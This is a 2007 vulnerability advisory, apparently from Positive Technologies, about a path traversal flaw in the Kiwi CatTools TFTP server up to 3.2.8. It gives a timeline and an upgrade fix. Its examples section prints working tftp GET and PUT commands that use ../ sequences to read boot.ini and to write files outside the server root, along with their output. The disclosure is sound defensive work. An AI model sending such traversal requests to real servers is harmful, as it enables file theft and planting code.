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Path traversal security vulnerability in Kiwi CatTools TFTP up to 3.2.8
server can lead to information disclosure and remote code execution
Risk: High
DISCUSSION
Kiwi CatTools TFTP server doesn't properly verify filename in PUT and GET
request which can be used to download/upload any file from/to server.
Default setting allows replacing of existing files. Such settings lead to
probability to replace an executable files and run code on attacker choice.
EXAMPLES
C:\>tftp -i 10.1.1.2 GET /x/../../../../../boot.ini boot.txt
Transfer successful: 212 bytes in 1 second, 212 bytes/s
C:\>type boot.txt
[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\W
INDOWS
C:\>tftp -i 10.1.1.2 PUT boot.txt /x/../../../../../pttest.txt
Transfer successful: 212 bytes in 1 second, 212 bytes/s
C:\>type pttest.txt
[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\W
INDOWS
C:\>
SOLUTION
Upgrade to CatTools 3.2.9 which is available for download at
<http://www.kiwisyslog.com/downloads.php>
http://www.kiwisyslog.com/downloads.php
CREDITS
Sergey Gordeychik of Positive Technologies (www.ptsecurity.com)
DISCLOSURE TIMELINE
Vulnerability discovered: 11/20/2006
Initial vendor contact: 12/08/2006
Patch released: 02/13/2007
Public disclosure: 02/27/2007
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